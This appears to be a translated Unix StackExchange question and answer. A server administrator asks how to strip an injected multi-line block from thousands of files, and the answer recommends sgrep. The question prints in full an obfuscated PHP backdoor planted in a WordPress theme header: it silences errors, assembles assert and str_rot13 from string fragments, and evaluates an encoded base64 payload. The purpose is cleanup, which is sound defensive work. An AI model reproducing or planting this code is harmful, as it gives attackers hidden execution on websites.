Sed

全域多行搜尋和替換

  • May 18, 2017

我有一個包含數千個文件的伺服器,這些文件包含我想要全域查找和替換的多行模式。

這是該模式的範例:

<div class="fusion-header-sticky-height"></div>
<div class="fusion-header">
       <div class="fusion-row">
               <?php avada_logo(); ?>
               <?php avada_main_menu(); ?>
       </div>
</div>


<?php
//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("display_errors", 0);
@error_reporting(0);
$wa = ASSERT_WARNING;
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light);
//###=CACHE END=###
?>

我嘗試了各種方法來查找和替換這個字元串,但它的多行性質讓我很難過。我已經環顧四周(經過一天的搜尋),我發現的解決方案無法處理這種多行性質。

任何幫助都將受到歡迎。


更新

我現在有了一個解決方案,很大程度上要感謝接受的答案。

其他面臨類似情況的人應該為此查看我的 github 項目

如果您想編輯由上下文無關語言定義的文本(嵌套匹配開始和結束標記,例如 HTML 或 XML),您應該使用為此而設計的工具,而不是正則表達式工具。

這樣的工具例如sgrep(許多 Linux 發行版都作為一個軟體包提供):您可以匹配(嵌套)由開始和結束標記定義的區域,並對其進行操作。所以例如

sgrep -o '%r\n' '(start .. end) extracting ("<?php".."?>" containing "###=CACHE START=###")'

將通過列印由換行符分隔的所有其他區域來刪除文件中以包含開頭<?php和結尾的任何區域。換行符和空格被認為與匹配無關,因此多行匹配是免費的。?>``###=CACHE START=###

引用自:https://unix.stackexchange.com/questions/322912